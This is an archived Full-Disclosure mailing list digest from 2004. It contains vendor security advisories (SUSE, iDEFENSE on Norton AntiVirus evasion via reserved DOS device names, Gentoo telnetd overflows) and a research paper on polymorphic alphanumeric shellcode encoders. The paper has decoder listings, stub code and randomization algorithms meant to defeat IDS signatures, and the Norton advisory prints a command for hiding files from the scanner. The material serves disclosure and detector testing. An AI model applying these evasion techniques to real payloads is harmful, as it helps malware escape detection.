> sure about the origin of the package and its content before installing
> the package. There are two verification methods that can be used
> independently from each other to prove the authenticity of a downloaded
> file or rpm package:
> 1) md5sums as provided in the (cryptographically signed) announcement.
> 2) using the internal gpg signatures of the rpm package.
>
> 1) execute the command
> md5sum
> after you downloaded the file from a SUSE ftp server or its mirrors.
> Then, compare the resulting md5sum with the one that is listed in the
> announcement. Since the announcement containing the checksums is
> cryptographically signed (usually using the key security
suse.de),
> the checksums show proof of the authenticity of the package.
> We disrecommend to subscribe to security lists which cause the
> email message containing the announcement to be modified so that
> the signature does not match after transport through the mailing
> list software.
> Downsides: You must be able to verify the authenticity of the
> announcement in the first place. If RPM packages are being rebuilt
> and a new version of a package is published on the ftp server, all
> md5 sums for the files are useless.
>
> 2) rpm package signatures provide an easy way to verify the authenticity
> of an rpm package. Use the command
> rpm -v --checksig
> to verify the signature of the package, where is the
> filename of the rpm package that you have downloaded. Of course,
> package authenticity verification can only target an un-installed rpm
> package file.
> Prerequisites:
> a) gpg is installed
> b) The package is signed using a certain key. The public part of this
> key must be installed by the gpg program in the directory
> ~/.gnupg/ under the user's home directory who performs the
> signature verification (usually root). You can import the key
> that is used by SUSE in rpm packages for SUSE Linux by saving
> this announcement to a file ("announcement.txt") and
> running the command (do "su -" to be root):
> gpg --batch; gpg
> SUSE Linux distributions version 7.1 and thereafter install the
> key "build
suse.de" upon installation or upgrade, provided that
> the package gpg is installed. The file containing the public key
> is placed at the top-level directory of the first CD (pubring.gpg)
> and at ftp://ftp.suse.com/pub/suse/pubring.gpg-build.suse.de .
>
>
> - SUSE runs two security mailing lists to which any interested party may
> subscribe:
>
> suse-security
suse.com
> - general/linux/SUSE security discussion.
> All SUSE security announcements are sent to this list.
> To subscribe, send an email to
> suse-security-subscribe
suse.com>.
>
> suse-security-announce
suse.com
> - SUSE's announce-only mailing list.
> Only SUSE's security announcements are sent to this list.
> To subscribe, send an email to
> suse-security-announce-subscribe
suse.com>.
>
> For general information or the frequently asked questions (faq)
> send mail to:
> suse-security-info
suse.com> or
> suse-security-faq
suse.com> respectively.
>
> =====================================================================
> SUSE's security contact is security
suse.com> or security
suse.de>.
> The security
suse.de> public key is listed below.
> =====================================================================
>______________________________________________________________________________
>
> The information in this advisory may be distributed or reproduced,
> provided that the advisory is not modified in any way. In particular,
> it is desired that the clear-text signature shows proof of the
> authenticity of the text.
> SUSE Linux AG makes no warranties of any kind whatsoever with respect
> to the information contained in this security advisory.
>
>Type Bits/KeyID Date User ID
>pub 2048R/3D25D3D9 1999-03-06 SuSE Security Team security
suse.de>
>pub 1024D/9C800ACA 2000-10-19 SuSE Package Signing Key build
suse.de>
>
>
>-----BEGIN PGP SIGNATURE-----
>Version: GnuPG v1.2.2-rc1-SuSE (GNU/Linux)
>
>iQEVAwUBQWK1Q3ey5gA9JdPZAQG2XAf/brEQk2j1Eh3S7Q3r9jnNHM/0oJ6rfish
>wS/GcWazRcIV7I8JnUqspDU9zYamS2oB8Vu977yTFc+nhTryvpWsbJDnQIjtYE52
>bEMMFW6gYTzUqG2U31mWKaqtpuFJJNuA3Lu0HgsxaQJ5F7qjVcsBOwX5PqCARMFp
>KIcGJi8BtLsQ36x2ZWOXKG6p8jXxx8kSVln7T6e1T0v4tVURA6BaEkE4Dh0ZoKh1
>V+lYw0QipbBIByWnY/rT4T1tvZE9NUG3JSHe0olyvDekmm/WzoHLIqOe2cKfR77a
>nNb+cA81JW7JJk10NWKY4hzUX9oLCN8/mAvl40nvCHX+9YHldeM3Ag==
>=LbT6
>-----END PGP SIGNATURE-----
>
>
>--__--__--
>
>Message: 4
>Date: Tue, 5 Oct 2004 11:48:59 -0400
>From: "Clairmont, Jan M" jan.m.clairmont
citigroup.com>
>To: full-disclosure
lists.netsys.com>
>Subject: [Full-Disclosure] Paranid ramblings - what's the deal? Bounded variables aren't?
>
>Every time I send out a memo to full-disclosure i get this this mail bounce message and
>it gets posted on full-disclosure. Anybody have an idea what's happening.
>
>
>Message Follows:
>
>From: Mailer-Daemon
ic-s.nl
>
>Subject: NDN: [Full-Disclosure] Shows when no limits are set or restricted shell or bat ac
>
>Sorry. Your message could not be delivered to:
>
>tycho,IC&S (The name was not found at the remote site. Check that the name
>has been entered correctly.)
>
>
>
>Are these guys phishing, swishing or whatever Netherlands uber alles?
>Or is this just their mail-server barfing? Should probably point dig at it
>and debug it but I have gotten in trouble for that type of "help" before?
>
>
>Keep on computing, even though your bytes are fried.
>
>Jan Clairmont, Paladin of the Dept. of Insecurity Department, where no redundancy is allowed or is it redundancy is
required, have to look that up in the book of insecurity security chapter 4 verse 3(The bible of the Mad Arab Adulah
Medula, taken from
>the NecronoMicron or the latest M$ directorate).
>
>Unix Security Support/Consultant I think?
>
>
>
>
>--__--__--
>
>_______________________________________________
>Full-Disclosure mailing list
>Full-Disclosure
lists.netsys.com
>http://lists.netsys.com/mailman/listinfo/full-disclosure
>
>
>End of Full-Disclosure Digest
>
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
[Full-Disclosure] iDEFENSE Security Advisory 10.05.04b: Symantec Norton AntiVirus Reserved Device Name Handling Vulnerability
idlabs-advisories
idefense.com
Date: Tue Oct 05 2004 - 11:36:22 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
Symantec Norton AntiVirus Reserved Device Name Handling Vulnerability
iDEFENSE Security Advisory 10.05.04b:
www.idefense.com/application/poi/display?id=147&type=vulnerabilities
October 5, 2004
I. BACKGROUND
Symantec's Norton AntiVirus protects email, instant messages, and other
files by automatically removing viruses, worms, and Trojan horses. More
information about the product is available from http://www.symantec.com
II. DESCRIPTION
Remote exploitation of design vulnerability in Symantec's Norton
AntiVirus allows malicious code to evade detection.
The problem specifically exists in attempts to scan files and
directories named as reserved MS-DOS devices. Reserved MS-DOS device
names are a hold over from the original days of Microsoft DOS. The
reserved MS-DOS device names represent devices such as the first printer
port (LPT1) and the first serial communication port (COM1). Sample
reserved MS-DOS device names include AUX, CON, PRN, COM1 and LPT1. If a
virus stores itself in a reserved device name it can avoid detection by
Symantec Norton AntiVirus when the system is scanned. Symantec Norton
AntiVirus will scan the files and folders containing the virus and fail
to detect or report them. reserved device names can be creating with
standard Windows utilities by specifying the full Universal Naming
Convention (UNC) path. The following command will successfully copy a
file to the reserved device name 'aux' on the C:\ drive:
copy source \\.\C:\aux
III. ANALYSIS
Exploitation allows attackers to evade detection of malicious code.
Attackers can unpack or decode an otherwise detected malicious payload
in a stealth manner.
IV. DETECTION
iDEFENSE has confirmed the existence of this vulnerability in the latest
version of Norton AntiVirus. It is reported that earlier versions crash
upon parsing files or directories using reserved MS-DOS device names.
V. WORKAROUND
Ensure that no local files or directories using reserved MS-DOS device
names exist. On most modern Windows systems there should be no reserved
MS-DOS device names present. While the Windows search utility can be
used to locate offending files and directories, either a seperate tool
or the specification of Universal Naming Convention (UNC) must be used
to remote them. The following command will successfully remove a file
stored on the C:\ drive named 'aux':
del \\.\C:\aux
VI. VENDOR RESPONSE
"Symantec engineers have developed a fix for this issue for Symantec
Norton AntiVirus 2004 that is currently available through LiveUpdate.
The fix is being incorporated into all other supported Symantec Norton
AntiVirus versions and will be available through LiveUpdate when fully
tested and released."
More information is available in Symantec Security Advisory SYM04-015.
VII. CVE INFORMATION
The Common Vulnerabilities and Exposures (CVE) project has assigned the
names CAN-2004-0920 to these issues. This is a candidate for inclusion
in the CVE list (http://cve.mitre.org), which standardizes names for
security problems.
VIII. DISCLOSURE TIMELINE
05/12/2004 Vulnerability acquired by iDEFENSE
06/25/2004 iDEFENSE clients notified
06/29/2004 Initial vendor notification
06/30/2004 Initial vendor response
10/05/2004 Coordinated public disclosure
IX. CREDIT
Kurt Seifried (kurt[at]seifried.org) is credited with this discovery.
Get paid for vulnerability research
http://www.idefense.com/poi/teams/vcp.jsp
X. LEGAL NOTICES
Copyright (c) 2004 iDEFENSE, Inc.
Permission is granted for the redistribution of this alert
electronically. It may not be edited in any way without the express
written consent of iDEFENSE. If you wish to reprint the whole or any
part of this alert in any other medium other than electronically, please
email customerservice
idefense.com for permission.
Disclaimer: The information in the advisory is believed to be accurate
at the time of publishing based on currently available information. Use
of the information constitutes acceptance for use in an AS IS condition.
There are no warranties with regard to this information. Neither the
author nor the publisher accepts any liability for any direct, indirect,
or consequential loss or damage arising from use of, or reliance on,
this information.
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
[Full-Disclosure] [ GLSA 200410-03 ] NetKit-telnetd: buffer overflows in telnet and telnetd
From: Thierry Carrez (koon
gentoo.org)
Date: Tue Oct 05 2004 - 13:43:50 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory GLSA 200410-03
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Severity: High
Title: NetKit-telnetd: buffer overflows in telnet and telnetd
Date: October 05, 2004
Bugs: #64632
ID: 200410-03
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Synopsis
========
Buffer overflows exist in the telnet client and daemon provided by
netkit-telnetd, which could possibly allow a remote attacker to gain
root privileges and compromise the system.
Background
==========
NetKit-telnetd is a standard Linux telnet client and server from the
NetKit utilities.
Affected packages
=================
-------------------------------------------------------------------
Package / Vulnerable / Unaffected
-------------------------------------------------------------------
1 net-misc/netkit-telnetd <= 0.17-r3 >= 0.17-r4
Description
===========
A possible buffer overflow exists in the parsing of option strings by
the telnet daemon, where proper bounds checking is not applied when
writing to a buffer. Additionaly, another possible buffer overflow has
been found by Josh Martin in the handling of the environment variable
HOME.
Impact
======
A remote attacker sending a specially-crafted options string to the
telnet daemon could be able to run arbitrary code with the privileges
of the user running the telnet daemon, usually root. Furthermore, an
attacker could make use of an overlong HOME variable to cause a buffer
overflow in the telnet client, potentially leading to the local
execution of arbitrary code.
Workaround
==========
There is no known workaround at this time.
Resolution
==========
All NetKit-telnetd users should upgrade to the latest version:
# emerge sync
# emerge -pv ">=net-misc/netkit-telnetd-0.17-r4"
# emerge ">=net-misc/netkit-telnetd-0.17-r4"
References
==========
[ 1 ] CVE-2001-0554
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0554
[ 2 ] Debian Bug #264846
http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=264846
Availability
============
This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:
http://security.gentoo.org/glsa/glsa-200410-03.xml
Concerns?
=========
Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
security
gentoo.org or alternatively, you may file a bug at
http://bugs.gentoo.org.
License
=======
Copyright 2004 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).
The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.
http://creativecommons.org/licenses/by-sa/1.0
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html
- application/pgp-signature attachment: OpenPGP digital signature
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
[Full-Disclosure] RE: On Polymorphic Evasion (attached inline this time)
From: m conover (mconover_001
hotmail.com)
Date: Tue Oct 05 2004 - 12:06:00 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
=== Addendum
Thanks for pointing out the attachment was stripped. I'll include it below.
Grep "===" for each file. Sorry about the wrapping and that stuff, if u want
a zip/tgz of it then just email me.
It is meant to be used in API fashion from an exploit to modify the
shellcode each time it is run. Entry point is char *Encode2Alnum(input_reg,
OriginalShellcode, OriginalShellcodeLength, int Verbose) and it will return
a alphanumerized morphed version of the original shellcode. If you call it
repeatedly you'll see the actual payload will fully change each time but the
stub less so.. it does change all variable parts, but there are parts of the
decoder that are fixed (e.g., the longest string is "A3A7A2B70B7B"). The
solution is to add variable size alphanumeric NOPs as discussed in
polymorph_alnum.txt below, but this step was never implemented.
It its current form it will only work on Windows but of course it is trivial
to change it to work on Unix if u remove windows.h and add typedefs for
DWORD/BYTE/etc
=== Original post
Cool. I will also add to the discussion with an alphanumeric version written
with two others for experimentation, though it is limited in it doesn't vary
the length of the decoder stubs or encoded shellcode. spoonm is doing a
separate version--I think based on Berend's alpha--that will. Also, I did
not test it against any of the different shellcode detectors like Fnord, so
I would be curious to know if anyone tries. IMO "as to whether the detection
of polymorphic shellcode was indeed an appropriate component of an IDS", I
think there is enough prior art on it that it's not really a big deal to
publish or discuss code implementing it. It most likely better to have a
variety of generators to test the effectiveness of a shellcode detector. I
added a small blurb on addtional options for OS-independence with
alphanumeric shellcode for IA-32e/AMD-64 since it adds the new RIP-relative
addressing.
=== enc2alnum/polymorph_alnum.txt
Applying Polymorphism to Alphanumeric IA-32/IA-32e/AMD-64 Shellcode
Matt Conover
Rix (rix 2001) should be credited with being the pioneer of IA32
alphanumeric shellcode and showing it is possible. His Phrack article was
the first to demonstrate feasibility. What rix did could be more called a
translator than an encoder. There was no fixed payload followed by a blob of
encoded shellcode that needed to be decoded. In shellcode terms this was
quite innovative but really blew up the shellcode size.
The next major step occurred when someone--unfortunately I don't know
who--came up with a decoder that would modify the last byte of the decoder
using an XOR to create a JNZ instruction and do looped decoding. This was to
my knowledge the first compact alphanumeric encoder to follow rix's original
translator. Both this decoder and Berend-Jan Wever's alpha decoder (Wever
2004) are based on this technique. This makes the shellcode much more
compact as well. The size of the encoded output shellcode is: EncoderSize +
sizeof(OriginalShellcode) * 2. Thus, it roughly doubled the shellcode
size--a vast improvement over the first generation. The main limitation is
that it was stack overflow specific. It was assuming that the shellcode was
called immediate following a ret (and thus [esp-4] contains the shellcodes
address).
Berend-Jan Wever earlier this year released an alphanumeric decoder which is
now also being used in the metasploit framework. In my opinion, the main
contribution of his encoder was the creation of an alphanumeric
Windows-specific GetPC stub. It is using an XOR trick like the one
demonstrated by Costin Ionescu (Ionescu 2003). Since that time he has made
some other major contributions, primarily combining his alphanumeric decode
with a Unicode decoder, thus creating the first alphanumeric Unicode decoder
that I Know of
The approach we took was entirely using stubs. The assumption was that in
almost all exploitation cases, it would be possible to reference the decoder
relative to a register. We created a stub to represent all registers, direct
or indirect, with positive or negative offsets. For example, take the case
of EAX. We have a stub for each of these cases:
EAX
EAX+offset
EAX-offset
[EAX]
[EAX+offset]
[EAX-offset]
This is represented as:
{ EAX,
EAXStub,
PreEAXPositiveOffsetStub, INC_ECX, PostEAXPositiveOffsetStub,
PreEAXNegativeOffsetStub, DEC_EAX, PostEAXNegativeOffsetStub,
EAXIndirectStub,
PreEAXIndirectPositiveOffsetStub, INC_ECX,
PostEAXIndirectPositiveOffsetStub,
PreEAXIndirectNegativeOffsetStub, DEC_EAX,
PostEAXIndirectNegativeOffsetStub
},
The structure to represent each register is:
typedef struct _REG_STUB
{
BYTE RegType;
BYTE *DirectStub;
BYTE *PreDirectPositiveOffsetStub;
BYTE DirectPositiveOffsetOpcode;
BYTE *PostDirectPositiveOffsetStub;
BYTE *PreDirectNegativeOffsetStub;
BYTE DirectNegativeOffsetOpcode;
BYTE *PostDirectNegativeOffsetStub;
BYTE *IndirectStub;
BYTE *PreIndirectPositiveOffsetStub;
BYTE IndirectPositiveOffsetOpcode;
BYTE *PostIndirectPositiveOffsetStub;
BYTE *PreIndirectNegativeOffsetStub;
BYTE IndirectNegativeOffsetOpcode;
BYTE *PostIndirectNegativeOffsetStub;
} REG_STUB;
These are the stubs for eax:
BYTE EAXStub[] = "P"; // push eax
BYTE EAXIndirectStub[] = "Ph!!!!X*****P*a30VX5!!!!P";
BYTE PreEAXPositiveOffsetStub[] = "PY"; // inc eax is not possible, so do
push eax; pop ecx
BYTE PostEAXPositiveOffsetStub[] = "Q"; // do push ecx
BYTE PreEAXNegativeOffsetStub[] = "";
BYTE PostEAXNegativeOffsetStub[] = "P";
BYTE PreEAXIndirectPositiveOffsetStub[] = "PY"; // inc eax is not possible,
so do push eax; pop ecx
BYTE PostEAXIndirectPositiveOffsetStub[] = "Qh!!!!X*****P*a30VX5!!!!P"; //
do same as ecx case
BYTE PreEAXIndirectNegativeOffsetStub[] = "";
BYTE PostEAXIndirectNegativeOffsetStub[] = "Ph!!!!X*****P*a30VX5!!!!P";
Note: the remainder of the stubs is in the appendix
The only limitation here is that offset needs to be smaller than 60 or so to
stay within the alphanumeric range. We then applied this to all registers
(eax, ebx, ecx, edx, esi, edi, ebp, esp). So the only time this technique
will not work is if the address of the decoder can not be described in terms
of a register, or worse, it is unpredictable.
In the case that it is difficult to predict or describe the location of the
decoder relative to a register, a GetPC trick is necessary. There is one
major problem, though: there is no known generic OS-independent GetPC. On
Windows this could be done using the SEH ovewrite trick, which Berend-Jan
Wever's alpha encoder was doing. The biggest problem is that it is costly in
terms of size. The only alphanumeric opcodes to write an arbitrary address
into an arbitrary address (e.g., like the 4-byte overwrites used in heap
exploits) involves the following steps:
1. Initializing a register to 0
2. XOR'ing it with some 32-bit alphanumeric address (A1).
3. XOR'ing it again with some other 32-bit alphanumeric address (A2) such
that A1 XOR A2 = WhereToWrite address
4. Repeating this process to get the WhatToWrite address
5. Clear out the contents at address [WhereToWrite] by doing do write memory
type XORs
6. Set the contents of at address [WhereToWrite] = WhatToWrite using another
XOR
This is obviously a lot of work to get the decoder address and it doesn't
work on anything other than Windows.
+++ THE MERGING OF ALPHANUMERIC AND POLYMORPHIC ENCODING
Since writing alphanumeric decoders by hand is tedious, the same encoder is
likely going to be reused repeatedly. Consider these string from Berend-Jan
Wever's alpha encoder:
w32_SEH_GetPC_mixed_code:
VTX630VXH49HHHPhYAAQhZYYYYAAQQDDDd36FFFFTXVj0PPTUPPa301089
alpha_decoder_main_code1:
VTX630VX4A0B5HH0B20BBVX2BCBH4A2AC0ACTBCQB0ACAVX4Z8BCJOM
alpha_decoder_main_code2:
VTX630VX4A0B4HH0B10BAVX2BBBH4A2AB0ABTBBQB0ABAVX4Z8BBJOM
Now if you were to look at metasploit 2.0 framework developed by HD Moore
and spoonm, you would find the following:
VTX630VX4A0B6HH0B30BCVX2BDBH4A2AD0ADTBDQB0ADAVX4Z8BDJOM
The similarity between the two different is quite obvious. The reason? It
takes time to write a good encoder, debug it, etc. Once a functional encoder
is developed, it is unlikely to change much... even as it is passed among
different shellcode writers. The likelihood of someone modifying the encoder
is obviously inversely proportional to the complexity of the encoder.
Therein lies the greatest weakness. Alphanumeric shellcode is afforded one
primary advantage, however: the instruction set is difficult to distinguish
from benign network traffic. Consider how difficult a task it is for a NIDS
to recognize alphanumeric shellcode within the contents of a MIME via email
or HTTP. It would be much too expensive to actually decode all the MIME
traffic and then validate the decoded data is meaningful. Thus, a NIDS will
rely on covering all known variants of the encoder.
There are basically only three steps left in the evolution of alphanumeric
shellcode on IA32 that I can see:
1. Combing alphanumeric encoders with other restricted encoders
Here I mean making Unicode alphanumeric shellcode encoder, an alphanumeric
shellcode that resembles sentences, etc.
Berend-Jan Wever has already made many combinatinos of Unicode/alphanumeric
encoders and is well on his way with the second, so I believe this step will
soon be completed for the majority of useful cases.
2. An OS-independent GetPC trick
This is one of the two fundamental problems of alphanumeric shellcode
encoders. I do not believe anyone will ever discover an OS-independent GetPC
trick for pure IA32. There are some new possibilities with the upcoming
IA-32 with 64-bit extensions that will be discussed later.
3. Becoming polymorphic
This is the other fundamental problem of alphanumeric shellcode encoders.
First, the encoder cannot be fixed because this is easy to detect. Second,
an input payload must result in a different encoded payload each time.
Addressing these problems is the primary aim of this paper.
+++ Making the encoder polymorphic
Since alphanumeric shellcode can already masquerade well with mediums such
as web traffic and email, the only real thing that needs to be addressed is
to reduce the fixed part of the encoder to a size that is so small that it
infeasible to use signature reliably. This was done in two steps. First, I
added a pseudo-language to represent wildcard characters:
RANDOMIZER g_Randomizers[] =
{
{ '*', 0, FALSE, INDIRECT_CHARSET },
{ '!', 3, TRUE, INDIRECT_CHARSET },
{ 0, 0, FALSE, NULL }
};
Here are a few examples. First the decoder itself:
BYTE g_Decoder[] = "Zh!!!!X5!!!!H4C0B6RYkA7
A3A7A2B70B7Bh!!!!X5!!!!4_8A7ub";
Second, a sample stub:
BYTE EAXIndirectStub[] = "Ph!!!!X*****P*a30VX5!!!!P";
This is the structure:
typedef struct _RANDOMIZER
{
BYTE RandomizeKey;
DWORD Extra;
BOOL ReplaceNextMatch;
BYTE *CharacterSet;
} RANDOMIZER;
Here, the first field (RandomizeKey) is the special character and the last
entry (CharacterSet) indicates the character set to replace the special
character with. The middle two entries are bit more difficult to explain.
The second field (Extra) indicates the subsequent bytes (excluding the
matched RandomizeKey) that are included. This is used to randomize them in
groups. The ReplaceNextMatch is used to replace the next occurence of the
RandomizeKey with the same values. This is needed for XOR keys. Thus:
push !!!!
pop eax
xor eax, !!!!
Means that both !!!! will have the same value but that each individual '!'
will have a different value.
+++ Making randomized encodings
As with cryptography, it is ideal to have ensure there is little visible
correlation between input and output. First, encoding the same thing twice
should look no similar than two different inputs. Second, repeating
sequences should not be visibile in the output. Thus if the input shellcode
had a NOP slide, this should appear no different than the rest of encoded
shellcode.
Similar to base64, converting from an input base of 8 bits (0x00-0xFF) to an
output base of 6 bits (A-Za-z0-9) takes two bytes.
The first step is to pick an XOR key that can be used to encode every
possible input key. Next, find the number of ways to do encoding. Consider
what the decoder does:
DecodedByte = EncodedByte[0] * Key;
DecodedByte ^= EncodedByte[1];
So it is a matter of solving the reverse equation:
for (EncodedByte1 = '0'; EncodedByte1 <= 'z'; EncodedByte1++)
{
for (EncodedByte2 = '0'; EncodedByte2 <= 'z'; EncodedByte2++)
OriginalByte2 = EncodedByte1 * Key;
OriginalByte2 ^= EncodedByte2;
if (OriginalByte == OriginalByte2) matched++;
}
EncodingCounts[OriginalByte] = matched;
That is how the map is created. Then during the encoding, everytime the
input byte is encountered, a random value less than the total number of
possible encoding is chosen and that is used to select the encoding bytes.
Thus, a sequence of "AAAAAA" would produce entirely differently characters
for each 'A' (assuming there was more than one encoding). It would not be
possible to recognize repeating patterns such as NOP slides from the output,
for example.
The final decoder looks like this:
/*
// edx points the beginning of the shellcode payload
(stubs+decoder+shellcode)
Z 01: pop edx
// set eax to 0xffffffff
h!!!! 02: push XORA
X 03: pop eax
5!!!! 04: xor eax,XORA
H 05: dec eax
// change line 22 to jnz
4C 06: xor al,43h
0B6 07: xor byte ptr [edx+36h],al
// set ecx to point to shellcode
R 08: push edx
Y 09: pop ecx
kA7
10: imul eax,dword ptr [ecx+37h],KEY
A 11: inc ecx
3A7 12: xor eax,dword ptr [ecx+37h]
A 13: inc ecx
2B7 14: xor al,byte ptr [edx+37h]
0B7 15: xor byte ptr [edx+37h],al
B 16: inc edx
h!!!! 17: push XORB
X 18: pop eax
5!!!! 19: xor eax,XORB
4_ 20: xor al,TERMINATOR
8A7 21: cmp byte ptr [ecx+37h],al
ub 22: jnz _OriginalShellcode+5Eh // changed by lines 4 and 5
_ = terminator
= key
!!!! = XOR_VALUES
*/
Each stub is responsible for getting the address of the shellcode onto the
stack. The first instruction of the decoder is to pop the address of the
shellcode and then begin operating on it.
+++ Adding NOPs
Admittedly, this is still not good enough. There is still a fairly long and
distinct string in the encoder:
H4C0B6RYkA7
A3A7A2B70B7Bh
The solution here is to add random alphanumeric NOPs of varying length at
random offsets in the encoder. The only generic IA-32 alphanumeric NOPs
involve PUSH, POP, INC, and DEC (alphanumeric XOR requires a memory
address):
1. push reg_a; pop reg_a
2. inc reg_a; dec reg_a;
3. push reg_a
push reg_b
pop reg_a
pop reg_b
push reg_a
push reg_b
pop reg_a
pop reg_b
4. #3 but with an INC before the first set of PUSH instructions and DEC
after the last set of POP instructions
5. #4 but with DEC/INC reversed
+++ POSSIBILITIES WITH IA-32E AND OS-INDEPENDENT ALPHANUMERIC SHELLCODE
AMD-64 and Intel's IA-32 with 64-bit extensions (hereafter referred to as
IA-32e) adds 64-bit support to the IA-32 architecture. It is the same as
IA-32 with a few additional opcodes, a new opcode prefix (called REX),
additional 64-bit registers (RAX, RBX, RCX, RIP, RSI, RDI, etc.), and the
ability to reference 64-bit addresses (using the REX prefix). Some opcodes
implicitly use 64-bit addresses and by default the operand size is the same
as IA-32. This makes it possible for most IA32 code to run without any
problems.
The 64-bit mode (also known as "long mode") is enabled from 32-bit protected
mode by:
1. Enabling page address extensions (setting the PAE bit in CR4)
2. Setting CR3 to point to a page table with 64-bit page table entries
(which must reside with the 4GB of memory)
3. Setting the LME bit in the EFER MSR (MSR 0xc0000080)
There are two important operating modes. One is compability mode, where the
processor works just like IA-32--so there is no reason to discuss this mode
further. The newer mode is the 64-bit mode that enables the 64-bit address
space. To be placed into 64-bit mode, the following steps msut be taken.
Now, so far what I've said has little effect on writing shellcode. There is
one MAJOR change, however: the creation of the RIP (64-bit instruction
pointer) relative addressing mode. RIP-relative offsets (hereafter called
RIP offset) are just like branch instructions. It is relative to the next
instruction in memory. Thus [RIP+0] references the opcode of the next
instruction.
For non-alphanumeric shellcode, this is only a minor improvement. It
eliminates the need to use a "call 0; pop reg" type tricks frees up a
register. For alphanumeric shellcode this solves the bigger problem of
having no OS-independent GetPC ONLY IF it is not a string operation being
exploited. By this I mean, it needs to be possible to have more than one NUL
byte occur in the shellcode. If this is not possible, then the RIP-relative
addressing mode will probably not help much. More on this later.
The REX prefix is a new opcode prefix which must come after any legacy IA-32
opcode prefixes. It is used to add various 64-bit extensions:
[0] REX.B = adds 1-bit to base in (1) ModRM.rm, (2) SIB.base, and (3)
opcode.reg for register opcodes with no ModRM byte
[1] REX.X = adds 1-bit to SIB.index
[2] REX.W = 64-bit operands
[3] REX.R = adds 1 bit to ModRM.reg
[4-7] Must be 0100 (4)
The REX prefixes can thus range from 0x40-0x4f. All but one of them (0x40)
is alphanumeric: 0x41 = 'A', ..., 0x4F = 'O'. The possible alphanumeric REX
bytes are:
REX.W = 01001xxx = 0x48-0x4f = H to O
REX.R = 0100x1xx = 0x44-0x47, 0x4c-0x4f = D to G, L to O
REX.X = 0100xx1x = 0x42, 0x43, 0x46, 0x47, 0x4a, 0x4b, 0x4e, 0x4f = B, C,
F, G, J, K, N, O
REX.B = 0100xxx1 = 0x41, 0x43, 0x45, 0x47, 0x49, 0x4b, 0x4d, 0x4f = A, C,
E, G, I, K, M, O
+++ The magic '5'
The ModRM byte is broken into three fields: [mod = high 2 bits][reg = 3
bits][rm = low 3 bits]
In IA-32 (or IA-32e in compatibility mod), ModRM.mod = 00 and ModRM.rm =
101 indicates the DS:Disp32 addressing mode. That means it is a 32-bit
offset relative to address 0 in the data segment. For all x86 32-bit
operating systems that I'm aware, the address space is flat, so this
represents an absolute address.
In IA-32e in 64-bit mode, DS:Disp32 has been replaced by RIP-relative
addressing. Thus the only ModRM byte possibilities for RIP-relative
addressing are 00reg101. There is just ONE alphanumeric character in this
range: the magic 5. ASCII '5' = 0x35 = 00110101
Note that REX.R and REX.B have no physical affect on the ModRM byte since
the additional bit is in the REX prefix
Thus, '5' is always the only alphanumeric ModRM byte possible, regardless
of the REX prefix (if any)
So the ModRM byte is immediately followed by a 32-bit displacement:
"<prefix bytes><opcode>5<AABBCCDD>"
Here opcode is an opcode type that is followed by a ModRM byte (not all do),
'5' is the ModRM byte, and AABBCCDD is the 32-bit displacement (which should
be all alphanumeric of course).
Now we've reached the most appropriate time to discuss the problem with
using RIP offsets for alphanumeric shellcode that I alluded to earlier. The
only addressing mode that is relative to the instruction pointer uses 32-bit
displacements. The limitation this causes greatly varies depending on
whether or not it is possible to send multiple NUL bytes.
For shellcode through strings (only a terminating NUL byte allowed):
The RIP offset will be between 0x30303030-0x7a7a7a7a since the offset must
not contain NULs (or else the string will be terminated) and
non-alphanumeric characters. The question then is whether or not this
provides any advantage over using the existing possibilities. So far as I
can tell, the answer is no. To make use of such large offsets you have know
the approximate location of the shellcode. If you already have this
information available, you can just reference the location by absolute
address through a register and XOR.
For shellcode with multiple NUL bytes allowed:
If the instruction set is alphanumeric characters plus an arbitrary number
of NUL bytes, then RIP offsets can make things really interesting. It is
then possible to construct useful RIP offsets.
To do looping, the use of a conditional jump is necessary to decode all the
encoded shellcode. This is done through self-modification. To do
self-modification, the decoder previously needed to know its own address.
When NUL bytes are allowed, this can be done cleanly with RIP offsets. The
only instruction available to arbitrarily modify memory is XOR. These are
the formats of XOR available:
XOR [RIP+AABBCCDD], al 00110000 00110101 DDBBCCAA = "05DDBBCCAA"
XOR [RIP+AABBCCDD], eax 00110001 00110101 DDBBCCAA = "15DDBBCCAA"
XOR al,[RIP+AABBCCDD] 00110010 00110101 DDBBCCAA = "25DDBBCCAA"
XOR eax, [RIP+AABBCCDD] 00110011 00110101 DDBBCCAA = "35DDBBCCAA"
^- opcode ^- ModRM ^- 32-bit displacement
Note: the 32-bit displacement is written backwards in memory because IA32 is
a little endian architecture
So now lets look at what the encoder was previously doing to create the JNZ:
// edx points the beginning of the shellcode payload
(stubs+decoder+shellcode)
Z 01: pop edx
// set eax to 0xffffffff
h!!!! push XORA
X pop eax
5!!!! xor eax,XORA
H dec eax
// change line 22 to jnz
4C xor al,43h
0B6 xor byte ptr [edx+36h],al
So the shellcode stubs were responsible for pushing the address of the
decoder onto the stack. Once the address of the decoder is known, offset
0x36 of the decoder is set to JNZ. Using the new RIP relative addressing,
the decoder can be changed to:
// pop edx is no longer needed
// set eax to 0xffffffff
h!!!! push XORA
X pop eax
5!!!! xor eax,XORA
H dec eax
// change line 22 to jnz
4C xor al,43h
056\0\0\0 xor byte ptr [RIP+36h],al
